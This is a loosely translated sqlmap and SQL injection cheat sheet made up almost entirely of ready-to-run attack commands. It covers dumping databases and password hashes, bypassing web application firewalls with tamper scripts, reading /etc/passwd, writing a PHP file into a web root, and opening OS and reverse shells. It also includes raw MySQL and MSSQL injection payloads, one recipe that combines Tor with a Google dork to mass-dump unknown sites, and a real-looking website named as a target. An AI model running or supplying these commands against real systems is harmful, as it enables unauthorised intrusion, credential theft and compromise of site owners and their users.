# Basic usage

./sqlmap.py -u "inject address" --dbs // enumerate database
./sqlmap.py -u "inject address" --current-db // current database
./sqlmap.py -u "inject address" --users // column database user
./sqlmap.py -u "inject address" --current-user // current user
./sqlmap.py -u "inject address" --tables -D "database" // enumerate the table name of the database
./sqlmap.py -u "inject address" --columns -T "table name" -D "database" // get the column name of the table
./sqlmap.py -u "inject address" --dump -C "field, field" -T "table name" -D "database" // get the data in the table, including the column, is the pants

# bypass WAF :
--tamper= apostrophemask,apostrophenullencode,chardoubleencode,escapequotes,overlongutf8,space2plus,symboliclogical,base64encode,unionalltounion,xforwardedfor,multiplespaces,nonrecursivereplacement


# Cookie injection: 
sqlmap.py -u URL --cookie "parameter" --tables --level 2

# POST login box injection: 
sqlmap.py -r FILE.TXT -p username --tables --forms -v 3 --dbs --batch --os "Windows" --tamper space2morehash.py,space2hash.py,base64encode.py,charencode.py

Bypass WAF :

sqlmap.py -u "inject address" -v 3 --dbs --batch --tamper space2morehash.py,space2hash.py,base64encode.py,charencode.py
Sqlmap.py -u URL -v 3 -dbms "MySQL" --tamper "space2morehash.py" --referer "http://www.google.com" - -user-agent "Googlebot/2.1 (+http://www.googlebot.com/bot.html)" 

sqlmap.py -r FILE.TXT -p username --tables --forms -v 3 --dbs --batch --os "Windows" --tamper space2morehash.py,space2hash.py,base64encode.py,charencode.py




#  Submit using the POST method
sqlmap -u "http://192.168.1.1/sqlmap/oracle/post_int.php" --method POST --data "id=1"
sqlmap -u "https://xxxxx//search.aspx" --forms --batch --crawl=10  --dbms=MSSQL --dbs --current-db  --technique=BEUST --risk=3 --level=3

# Read the database version, current user, current database 
Sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1

# Determine the current database user permissions
Sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --privileges -U username-v 1 
Sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --is-dba -U username-v 1

# Read the passwords of all database users or specified database users 
Sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2 
Sqlmap.py-u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2

# Get all the databases
Sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2

# Get all the tables in the specified database
Sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2

# Get the field of the specified table in the specified database name 
Sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2

# Get the data of the specified field in the specified table in the specified database name 
Sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2

# file-read read web file

Sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2

# file-write writes files to the web 
Sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file-dest /var/www/html/xx.php -v 2

#union Query table record

Sqlmap.py -u "http://url/news?id=1" --union-cols 

# injection

# Get the current user name 
Sqlmap.py -u "http://url/news?id=1" --current-user
# Get the current database name
Sqlmap.py -u "http://www.xxoo.com/news?id=1" --current-db 
# listname
Sqlmap.py -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" 
#column field
Sqlmap.py -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 
#Get the field contents
Sqlmap.py -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0
# smart smart level Execution test level
Sqlmap.py -u "http://url/news?id=1" --smart --level 3 --users
# dbms Specify database type
Sqlmap.py -u "http://url/news?id=1" --dbms "Mysql" --users
#column database user
Sqlmap.py -u "http://url/news?id=1" --users


# Instructions for use:
Injection point: www.xxx.com/user.jsp?id=1

1. Determine if the injection exists
sqlmap.py -u "www.xxx.com/user.jsp?id=1"

2. Get the database (Access database does not need to be obtained)
sqlmap.py -u "www.xxx.com/user.jsp?id=1" --dbs

3. View the database used by the current application (Access database does not need to be obtained)
sqlmap.py -u "www.xxx.com/user.jsp?id=1" --current-db

4. List all the tables of the specified database
sqlmap.py -u "www.xxx.com/user.jsp?id=1" --table -D database

5. Read the field name in the specified table
Sqlmap.py -u "www.xxx.com/user.jsp?id=1" --columns -T "datasheet" -D "database"

6. Read the contents of the specified field
Sqlmap.py -u "www.xxx.com/user.jspid=1" --dump -C" field" -T "datasheet" -D "database"
After reading the data, Sqlmap will dump the read data to the Sqlmap/output/ directory, and the file will be saved as "Table.cvs".

1. Test injection point permissions
Sqlmap.py -u "URL" --privileges //Test permissions for all users
Sqlmap.py -u "URL" --privileges -U sa //Test sa user rights

2. Execute the Shell command
Sqlmap.py -u "URL" --os-cmd="net user" //Execute the net user command
Sqlmap.py -u "URL" --os-shell //System interaction shell

3. Get the current database name
sqlmap.py -u "URL" --current-db

4. Execute the SQL command
Sqlmap.py -u "URL" --sql-shell //Returns the SQL interaction shell and can execute SQL statements
Sqlmap.py -u "URL" --sql-query="sql"

5.POST submission method
Sqlmap.py -u "URL" --data "POST parameter"

6. Display detailed levels
sqlmap.py -u "URL" --dbs -v 1

The -v parameter contains the following seven levels.
0: only show Python backtracking, errors and key messages;
1: Display information and warning information;
2: Display debugging information;
3: payload injection;
4: Display HTTP request;
5: Display HTTP response headers;
6: Display the contents of the HTTP response page.

7. Inject HTTP request
Sqlmap.py -r head.txt --dbs //head.txt content is an HTTP request

Head.txt can capture the contents of the burstsuit

8. Connect directly to the database
sqlmap.py -d"mysql://admin:admin@192.168.1.1:3306/testdb" --dbs

9. Injection level
sqlmap.py -u "URL" --level 3

10. Insert the injection statement into the specified location (usually used for pseudo-static injection)
sqlmap.py -u "http://www.xxx.com/id/2*.html" --dbs

11. Use the Sqlmap plugin
sqlmap.py -u "URL" --tamper "space2morehash.py"

Sqlmap Tamper

Script name: apostrophemask.py
Role: use utf8 instead of quotes
example:
("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
Claim:
All


Script name: equaltolike.py
Role: like instead of the equal sign
example:
SELECT · FROM users WHERE id=1
SELECT · FROM users WHERE id LIKE 1
Claim:
·Microsoft SQL Server 2005
· MySQL 4, 5.0 and 5.5


## Sqlmap common parameters and instructions

-b get banner
-p specifies test parameters
-g Get the URL from Google, -g "inurl:aspx?id="
--gpage=GOOGLEPAGE Specify Google Page Numbers
--union-check Whether to support union injection
--union-cols union query table record
--union-test union statement test
--union-use uses union injection
--proxy proxy injection
--threads using multithreading
--user-agent custom user-agent
--referer=REFERER HTTP referer header
--proxy=PROXY Use proxy
--string specifies keywords
--tor creates an anonymous network of tor
--predict-output common query output prediction
--keep-alive uses a persistent HTTP(S) connection
--eval=EVALCODE Pollution with HTTP parameters
-a,-all query all
--hostname hostname
--is-dba is admin rights
--users enumerates all users
--password enumerates all user passwords
--roles enumerates all user roles
--schema enumeration DBMS mode
--count retrieves the total number of entries
--dump to dump the DBMS database table project, you need to develop the field name (column name)
--dump-all dumps all table items in the DBMS database
--search searches for a column, table, or database name
--exclude-sysdbs Excludes the system database when enumerating tables
--sql-query=query Execute SQL statement
--file-read=RFILE read operation
--file--write=WFILE write operation
--file--dest=DFILE absolute path write
--reg-read reads a Windows registry key value
--reg-add adds a Windows registry key value data
--reg-del deletes a Windows registry key value data
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key
--reg-data=REGDATA Key-value item data for the Windows registry
--reg-type=REGTYPE Value type of the Windows registry key
--dump-format=DUMP dump data format (CSV (default), HTML or SQLITE)
--hex Use hexadecimal data retrieval
--output-dir=ODIR directory path for custom output
--update update Sqlmap
--purge-output safely deletes the output directory of all content
--check-waf heuristic check WAF/IPS/IDS protection
--os-pwn bounce shell
--cookie=COOKIE specifies HTTP cookie, pre-login
--random-agent Use randomly selected User-Agent
--tamper=TAMPER using the Sqlmap plugin
--level test level (1-5), default is 1
--auth-type Digest --auth-cred "testuser:testpass"
--auth-type Basic --auth-cred "testuser:testpass"
--dbms "PostgreSQL"
* MySQL
* Oracle
* PostgreSQL
* Microsoft SQL Server
--os "Windows"
* Linux
* Windows

# Access to information

Sqlmap -u "http://url/news?id=1" --dbms "Mysql" --users		# dbms Specify database type
Sqlmap -u "http://url/news?id=1" --users 					#column database user
Sqlmap -u "http://url/news?id=1" --dbs						#column database
Sqlmap -u "http://url/news?id=1" --passwords				#database user password
Sqlmap -u "http://url/news?id=1" --passwords -U root -v 0   #list the password of the specified user database
Sqlmap -u "http://url/news?id=1" --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20  #list designation Field, list 20
Sqlmap -u "http://url/news?id=1" --dump-all -v 0 			#List all tables in all databases
Sqlmap -u "http://url/news?id=1" --privileges 				#View Permissions
Sqlmap -u "http://url/news?id=1" --privileges -U root		#View specified user permissions
Sqlmap -u "http://url/news?id=1" --is-dba -v 1 				#is it a database administrator?
Sqlmap -u "http://url/news?id=1" --roles 					#enumrate database user roles
Sqlmap -u "http://url/news?id=1" --udf-inject 				#Import user-defined functions (get system privileges!)
Sqlmap -u "http://url/news?id=1" --dump-all --exclude-sysdbs -v 0 #list out all tables in the current library
Sqlmap -u "http://url/news?id=1" --union-cols 				#union Query table record
Sqlmap -u "http://url/news?id=1" --cookie "COOKIE_VALUE" 	#cookie injection
Sqlmap -u "http://url/news?id=1" -b 						#Get banner information
Sqlmap -u "http://url/news?id=1" --data "id=3" 				#postinjection
Sqlmap -u "http://url/news?id=1" -v 1 -f 					#fingerprint database type
Sqlmap -u "http://url/news?id=1" --proxy "http://127.0.0.1:8118" # Agent injection
Sqlmap -u "http://url/news?id=1" --string "STRING_ON_TRUE_PAGE" #Specify keywords
Sqlmap -u "http://url/news?id=1" --sql-shell 				#Execute the specified sql command
Sqlmap -u "http://url/news?id=1" --file /etc/passwd
Sqlmap -u "http://url/news?id=1" --os-cmd=whoami 			#Execute system commands
Sqlmap -u "http://url/news?id=1" --os-shell					#system interactive shell
Sqlmap -u "http://url/news?id=1" --os-pwn 					#bounce shell
Sqlmap -u "http://url/news?id=1" --reg-read					# read win system registry
Sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log" 		# Save the progress
Sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume # Restore saved progress




# Fingerprinting the remote system and its database
sqlmap.py -u "http://localhost/weak.php?id=10" -b

Output :
[11:19:51] [INFO] the back-end DBMS is MySQL
[11:19:51] [INFO] fetching banner
[11:19:51] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:19:51] [INFO] retrieved: 5.1.61
web server operating system: Linux Red Hat Enterprise 6 (Santiago)
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
banner:    '5.1.61'

# fetch the list of users and roles
sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10
database management system users [5]:
[*] ''@'localhost'
[*] ''@'localhost.localdomain'
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'
[*] 'root'@'localhost.localdomain'
database management system users password hashes:
[*]  [1]:
    password hash: NULL
[*] root [2]:
    password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
    password hash: NULL

# Reading a system file
sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10

# Run arbitrary sql command
sqlmap.py -u "http://localhost/weak.php?id=10" --sql-query="select now();"

output :
[11:50:22] [INFO] retrieved: 2013-04-15 11:51:10
select now();:    '2013-04-15 11:51:10'

# Interactive shell
sqlmap.py -u "http://www.xxx.com" --os-cmd "ipconfig"
sqlmap.py -u "http://www.xxx.com" --os-shell 
sqlmap.py -u "http://www.xxx.com" --os-pwn 
sqlmap.py -u "http://www.xxx.com" --sql-shell

# Form sql :
/sqlmap.py -u "http://www.xxx.com" --forms --batch --crawl=10  --data "tfUName=1&UPass=1" --cookie "id=9" -p tfUPass


# WAF bypass
/sqlmap.py -u "http://www.xxx.com" --forms --batch --crawl=10  --data "tfUName=1&UPass=1" --cookie "id=9" -p tfUPass --tamper="space2hash.py" -v 3 --dbs


# Tor with sqlmap :
apt-get install -y tor
Start the Tor service
sudo service tor start 

sqlmap.py --tor --tor-type=SOCKS5 -g "inurl:.php?id=1" --random-agent --dump-all --batch --time-sec=15 


-v parameter, level of detail, observe how sqlmap is trying to judge a point and read data.

## There are seven levels, the default is 1:

0, only show python errors and serious information.
 
1. Display basic information and warning information at the same time. (default)
 
2. Display debug information at the same time.
 
3. Display the injected payload at the same time.
 
4. Display HTTP requests at the same time.
 
5. Display the HTTP response header at the same time.
 
6. Display the HTTP response page at the same time.


# Use sqlmap to remove pants
The –dump parameter is used to remove the pants. Add the whole -all(–dump-all) if you drag the whole

Specify the field specified in the specified table:

sqlmap -u "http://xxx/index.php?id=1" --dump -D DBName -T TableName -C "id,username,password"

Take off the entire pants:

sqlmap -u "http://xxx/index.php?id=1" -D DBName --dump-all


# Advanced usage

-p name Multiple parameters such as index.php?n_id=1&name=2&data=2020 We want to specify the name parameter to inject

Sqlmap -g "google syntax" --dump-all --batch #google search injection point automatically runs out all fields, you need to ensure that google.com can access normally

--technique test specifies the type of injection\technology used

Test all injection techniques by default without parameters
• B: Boolean based SQL blind
• E: based on error sql injection
• U: based on UNION injection
• S: stacked sql injection
• T: Time-based blind

--tamper bypasses the WEB firewall (WAF) Sqlmap by encoding by default with char()

--tamper plugin directory \sqlmap-dev\tamper

Sqlmap -u "http:// www.2cto.com /news?id=1" --smart --level 3 --users #smart Intelligent level execution test level

Attack example:
Sqlmap -u "http://url/news?id=1&Submit=Submit" --cookie="xxx" --string="Surname" --dbms=mysql --user --password

# Request
These options can be used to specify how to connect to the target URL :

--data=DATA Data string sent via POST
--cookie=COOKIE				HTTP Cookie header
--cookie-urlencode			URL encoding generated by cookie injection
--drop-set-cookie			Ignore the Set-Cookie header of the response
--user-agent=AGENT			Specifies the HTTP User --Agent header
--random-agent				uses a randomly selected HTTP User --Agent header
--referer=REFERER			Specifies the HTTP Referer header
--headers=HEADERS			Wrap separate, add other HTTP headers
--auth-type=ATYPE			HTTP authentication type (basic, digest or NTLM) (Basic, Digest or NTLM)
--auth-cred=ACRED			HTTP authentication credentials (username: password)
--auth-cert=ACERT			HTTP certificate (key_file, cert_file)
--proxy=PROXY				Connect to the target URL using an HTTP proxy
--proxy-cred=PCRED			HTTP Proxy Authentication Credentials (Username: Password)
--ignore-proxy				ignores the system default HTTP proxy
--delay=DELAY				The delay between each HTTP request in seconds
--timeout=TIMEOUT			Time to wait for the connection to time out (default is 30 seconds)
--retries=RETRIES			Time to reconnect after connection timeout (default 3)
--scope=SCOPE				Regular expression for the filter target from the provided proxy log
--safe-url=SAFURL			The url address that is frequently accessed during the test.
--safe-freq=SAFREQ			Test request between visits, giving a secure URL

# Enumeration

These options can be used to enumerate information about the back-end database management system, the structure and data in the tables. In addition, you can also run your own SQL statements.

-b, --banner				Retrieve the identity of the database management system
--current-user				retrieves the current user of the database management system
--current-db				retrieves the current database of the database management system
--is-dba					Detects whether the DBMS current user is DBA
--users 					enumerates database management system users
--passwords 				enumerates database management system user password hashes
--privileges 				enumerates permissions for database management system users
--roles						enumerates the roles of database management system users
--dbs						enumerates the database management system database
--tables					enumerates tables in the DBMS database
--columns					enumerates DBMS database table columns
--dump						dumps the entries in the database of the database management system
--dump-all					dumps entries in all DBMS database tables
--search 					search column(s), table(s) and/or database name(s)
-D DB 						The name of the database to be enumerated
-T TBL 						Database table to be enumerated
-C COL 						Database column to be enumerated
-U USER						database user used for enumeration
--exclude-sysdbs			Exclude system database when enumerating tables
--start=LIMITSTART			The first query output goes into the search
--stop=LIMITSTOP 			The output of the last query goes into the search
--first=FIRSTCHAR			Character search for the first query output word
--last=LASTCHAR				Output word character retrieval for the last query
--sql-query=QUERY			SQL statement to execute
--sql-shell					prompts interactive SQL shell

# Optimization

These options can be used to optimize the performance of SqlMap.

-o 							turn on all optimization switches
--predict-output			predicts common query output
--keep-alive				uses a persistent HTTP(S) connection
--null-connection 			retrieves page length from no actual HTTP response body
--threads=THREADS			Maximum HTTP(S) request concurrency (default is 1)
-p TESTPARAMETER 			testable parameters (S)
--dbms=DBMS					forces the backend DBMS to this value
--os=OS						forces the backend DBMS operating system to this value
--prefix=PREFIX				injection payload string prefix
--suffix=SUFFIX				injection payload string suffix
--tamper=TAMPER				Tampering with injected data using the given script(s)

# Detection

These options can be used to specify how to parse and compare the contents of an HTTP response page when the SQL blinds.

--level=LEVEL				The level at which the test is performed (1-5, default is 1)
--risk=RISK					Risk of performing tests (0-3, default is 1)
--string=STRING				Matches the string when the query is valid
--regexp=REGEXP				Query regular expression on page when valid
--text-only					based only on text content comparison pages

# Techniques

These options can be used to tune specific SQL injection tests.

--technique=TECH			 SQL injection technology test (default BEUST)
--time-sec=TIMESEC			 DBMS response delay time (default is 5 seconds)
--union-cols=UCOLS			 Queued range for testing UNION query injection
--union-char=UCHAR			 Character used to violently guess the number of columns

# Fingerprint (fingerprint)

-f, –fingerprint 			Execute checks for extensive DBMS version fingerprints


# Brute force

These options can be used to run brute force checks.

--common-tables				 check for the existence of a common table
--common-columns			 check for common columns


# User-defined function injection

These options can be used to create user-defined functions.

--udf-inject				 injection user-defined function
--shared-lib=SHLIB 			 local path to the shared library

# File system access
These options can be used to access the underlying file system of the backend database management system.

--file-read=RFILE 			Reads files from the backend database management system file system
--file-write=WFILE			Edit the local file on the backend database management system file system
--file-dest=DFILE 			The absolute path of the file management system write file to the backend

# Operating system access

These options can be used to access the underlying operating system of the back-end database management system.

--os-shell					 interactive operating system shell
--os-pwn					 Get an OOB shell, meterpreter or VNC
--os-smbrelay				 Get an OOB shell, meterpreter or VNC with one click
--os-bof					 stored procedure buffer overflow exploit
--priv-esc					 database process user privilege
--msf-path=MSFPATH			 Metasploit Framework local installation path
--tmp-path=TMPPATH			 Absolute path to the remote temporary file directory


# Windows registry access

These options can be used to access the backend database management system Windows registry.

--reg-read					 read a Windows registry key value
--reg-add					 writes a Windows registry key value data
--reg-del					 removes the Windows registry key
--reg-key=REGKEY			 Windows registry key
--reg-value=REGVAL			 Windows registry key value
--reg-data=REGDATA			 Windows registry key value data
--reg-type=REGTYPE			 Windows registry key value type

# General
These options can be used to set some general working parameters.

-t 					TRAFFICFILE logs all HTTP traffic to a text file
-s 					SESSIONFILE Saves and restores all data retrieved from the session file
--flush-session 	refresh the current target session file
--fresh-queries		ignores query results stored in session files
--eta				shows the estimated arrival time of each output
--update			Update SqlMap
--save				file Save options to the INI configuration file
--batch				never asks for user input, using all default configurations.

# Miscellaneous (miscellaneous)

--beep		 		 find reminders when SQL injection
--check-payload		 IDS detection test for injected payloads
--cleanup			 SqlMap concrete UDF and table cleanup DBMS
--forms				 parsing and testing form of target URL
--gpage=GOOGLEPAGE	 Use Google Dork results from the specified page number
--page-rank			 Google dork results show page rank (PR)
--parse-errors		 parse database management system error messages from the response page
--replicate			 copy dumped data to a sqlite3 database
--tor				 uses the default Tor (Vidalia / Privoxy / Polipo) proxy address
--wizard			 Simple wizard interface for beginners





# Partial usage of SQLMAP

1) to determine whether the current user is dba 
python sqlmap.py -u "url" --is-dba -v 1 

2)--users: list database management system user 
python sqlmap.py -u "url" --users -v 0 

3)--passwords: database user password (hash) 
python sqlmap.py -u "url" --passwords -v 0 
python sqlmap.py -u "url" --passwords -U Sa -v 0 

4) View user permissions 
python sqlmap.py -u "url" --privileges -v 0 
python sqlmap.py -u "url" --privileges -U postgres -v 0 

5)--dbs can be utilized Database 
python sqlmap.py -u "url" --dbs -v 0 

6)--tables column database table 
python sqlmap.py -u "url" --tables -D "information_scheam" 
-D: specify the data name 

7)- -columns lists the column names in the table 
python sqlmap.py -u "url"--columns -T "user" -D "mysql" -v 1 
-T: specify the name of the table, -D: specify the name of the library

8) --- The contents of the specified column in the list of 
db python sqlmap.py -u "url" --dump -T "users" -D "testdb" 
-C: can specify the 
specified column range of 2 to 4 
python sqlmap. Py -u "url" --dump -T "users" -D "testdb" --start 2 --stop 4 -v 0 

9)--dumap-all lists all databases, all table contents 
python sqlmap.py - u "url" --dump-all -v 0 
only lists the contents of the user's own new database and table 
python sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0 

10)-- File read file contents [load_file() function] 
python sqlmap.py -u "url" --file /etc/password 

11) Execute SQL 
python sqlmap.py -u "url" --sql-shell 

12)-p Specify Parameters 
python sqlmap.py -u "url" -v 1 -p "id" 
-p can specify multiple parameters -p "cat,id"

13) POST submit 
python sqlmap.py -u "url" --method POST --data "id=1" 

14)COOKIE submission
Python sqlmap.py -u "url" --cookie "id=1" -v 1 
cookie value can be fetched by TamperData 

15)refer trick 
python sqlmap.py -u "url" --refer "url" -v 3 

16 ) Use custom user-agent or user-agents.txt 
python sqlmap.py -u "url" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3 
python sqlmap.py - u "url" -v 1 -a "./txt/user-agents.txt" 

17) Use multithreading to guess 
python sqlmap.py -u "url" -v 1 --current-user --threads 3 

18) Specify the database, bypass the automatic detection of 
SQLMAP python sqlmap.py -u "url" -v 2 --dbms "PostgreSQL" 

19) Specify the operating system to bypass SQLMAP to automatically detect 
python sqlmap.py -u "url" -v 2 - -os "Windows"

20)--prefix and --postfix Custom payload
python sqlmap.py -u "url" -v 3 -p "id" --prefix "'" --postfix "and 'test'='test"

21)Union injection test
python sqlmap.py -u "url" --union-test -v -1

22)With order by
python sqlmap.py -u "url" --union-test --union-tech orderby -v 1

23)python sqlmap.py -u "url" -v 1 --union-use --banner
24)python sqlmap.py -u "url" -v 5 --union-use --current-user
25)python sqlmap.py -u "url" -v 1 --union-use --dbs

//Execute SQL statement
Sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1" -v 1 –sql-shell

//More detailed information
Sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1" -v 5



# Mysql commands :
SELECT database()
SELECT version()
SELECT user()
select datadir()
SELECT @@datadir
SELECT user FROM mysql.user
SELECT schema_names FROM information_schema.schemata
SELECT @@hostname
UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — 
select @@basedir
Select system_user()
select current_user()
select user()
select @@version_compile_os
select now()
Desc table name or show columns from table name
select * from users union select 1,load_file('/etc/passwd'),3;
select * from users union select 1,load_file(0x2F6574632F706173737764),3;
select '<?php phpinfo(); ?>' into outfile '/var/www/html/xxx.php';
select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile '/var/www/html/xxx.php';
# Get the version number
SELECT @@version
SELECT version()
# host name, IP address
SELECT @@hostname;
# username and password
SELECT host, user, password FROM mysql.user;
# username
SELECT user();
SELECT system_user();
SELECT user FROM mysql.user;
SELECT current_user;
SELECT distinct(db) FROM mysql.db 
SELECT schema_name FROM information_schema.schemata; 
SELECT table_schema, table_name FROM information_schema.tables WHERE Table_schema = ' customers_db'
SELECT table_schema, table_name FROM information_schema.tables WHERE Table_schema!='mysql' AND table_schema!=' information_schema'
SELECT table_schema, table_name column_name FROM information_schema.columns WHERE table_schema!='mysql' AND table_schema!=' information_schema'
SELECT table_schema, table_name, column FROM Information_schema.columns WHERE table_schema != 'mysql' AND Table_schema != 'information_schema';
SELECT table_schema, table_name column_name FROM information_schema.columns WHERE column_name LIKE 'password' OR column_name LIKE 'credit_card'
SELECT grantee, privilege_type, is_grantable
SELECT grantee, table_schema, privilege_type FROM Information_schema.schema_ privileges;

SELECT load_file('databasename/tablename.MYD') 
tables_priv.MYD  
host.MYD  
help_keyword.MYD  
columns_priv.MYD  
db.MYD 


# User rights related
# enumerate user permissions
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;

# enumerate user permissions
SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user ;

# enumerate database permissions
SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges;

# List columns_priv
SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges;

# List database
# current library
SELECT database();

# All libraries  (Mysql > 5.0)
SELECT schema_name FROM information_schema.schemata;

# List name
# common
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

# Find the name of the table based on the column name
SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username';

# List field names
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

# Single data acquisition

SELECT host, user FROM user ORDER BY host LIMIT 1 OFFSET 0;

SELECT host,user FROM user ORDER BY host LIMIT 0,1;

# Error injection

And (select 1 from (select count(*), concat(SQL statement, floor(rand(0)*2))x from information_schema.tables group by x)a);
And (select count(*) from (select 1 union select null union select !1)x group by concat(SQL statement, floor(rand(0)*2)));
And extractvalue(1, concat(0x5c, (SQL statement)));
And 1=(updatexml(1,concat(0x5e24,(SQL statement), 0x5e24),1));

# Delay injection

SELECT BENCHMARK(1000000,MD5('A'));
SELECT SLEEP(5);

# File reading and writing

#Read file, need relevant permissions
UNION SELECT LOAD_FILE('/etc/passwd')

# Write file, need relevant permissions
SELECT * FROM mytable INTO dumpfile '/tmp/somefile'

# Write file, need relevant permissions
SELECT * FROM mytable INTO outfile '/tmp/somefile'

# Judgment and string correlation
# if judging
SELECT if(1=1,'foo','bar'); #回 foo

# CASE WHEN Judgment
SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # Back A

# char function, convert numbers to characters
SELECT char(65);

# ascii function, convert characters to numbers
SELECT ascii('A');

# CONCAT function to connect characters together
SELECT CONCAT('A','B');

# string hexadecimal notation
SELECT 0×414243;

# substring/substr function
SELECT substr('abcd', 3, 1); 

# length function
SELECT length('abcd');

# MSSQL

# Database version
SELECT @@version

# host name, IP address
SELECT HOST_NAME()

# Current user
SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

# List all users
SELECT name FROM master..syslogins
#Column password MS MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins --*
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins --*


# List database
SELECT DB_NAME()

# enumeration library
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — where N = 0, 1, 2,

# Permission related

# Judging current user rights
SELECT is_srvrolemember('sysadmin');
SELECT is_srvrolemember('dbcreator');
SELECT is_srvrolemember('bulkadmin');
SELECT is_srvrolemember('diskadmin');
SELECT is_srvrolemember('processadmin');
SELECT is_srvrolemember('serveradmin');
SELECT is_srvrolemember('setupadmin');
SELECT is_srvrolemember('securityadmin');

# Determine the permissions of a specified user
SELECT is_srvrolemember('sysadmin', 'sa');

# Determine if it is a library permission
And 1=(Select IS_MEMBER('db_owner'))

# Determine if there is library read permission
And 1= (Select HAS_DBACCESS('master'))

# Get the username with a certain permission
SELECT name FROM master..syslogins WHERE denylogin = 0;
SELECT name FROM master..syslogins WHERE hasaccess = 1;
SELECT name FROM master..syslogins WHERE isntname = 0;
SELECT name FROM master..syslogins WHERE isntgroup = 0;
SELECT name FROM master..syslogins WHERE sysadmin = 1;
SELECT name FROM master..syslogins WHERE securityadmin = 1;
SELECT name FROM master..syslogins WHERE serveradmin = 1;
SELECT name FROM master..syslogins WHERE setupadmin = 1;
SELECT name FROM master..syslogins WHERE processadmin = 1;
SELECT name FROM master..syslogins WHERE diskadmin = 1;
SELECT name FROM master..syslogins WHERE dbcreator = 1;
SELECT name FROM master..syslogins WHERE bulkadmin = 1;

# Currently owned permissions
SELECT permission_name FROM master..fn_my_permissions(null, 'DATABASE'); — current database
SELECT permission_name FROM master..fn_my_permissions(null, 'SERVER'); — current server
SELECT permission_name FROM master..fn_my_permissions('master..syslogins', 'OBJECT'); –permissions on a table
SELECT permission_name FROM master..fn_my_permissions('sa', 'USER');

# Error injection
# Direct comparison with numbers
Id=1 and @@version>0--
Id=1 and user>0--
Id=1 and db_name()>0--

# Convert data into integer error, can be used to explode library name, table name, data name
Id=1 and 1=convert(int,(select name from master.dbo.sysdatabases where dbid=7))--


Id=13 having 1=1 --
Id=13 group by table name. field name 1, field name 2 having 1 = 1 --
IF(ascii(SUBSTRING('name',1,1))>0) waitfor delay'0:0:3'

# Command execution

And select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
And 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread') #registry
And 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask') #backup
And 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_addextendedproc') #restore extension
And 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_subdirs') #Read subdirectory
And 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_dirtree') #列目录

# Recovery and division
Exec sp_addextendedproc xp_cmdshell, 'xplog70.dll'
Exec sp_dropextendedproc 'xp_cmdshell'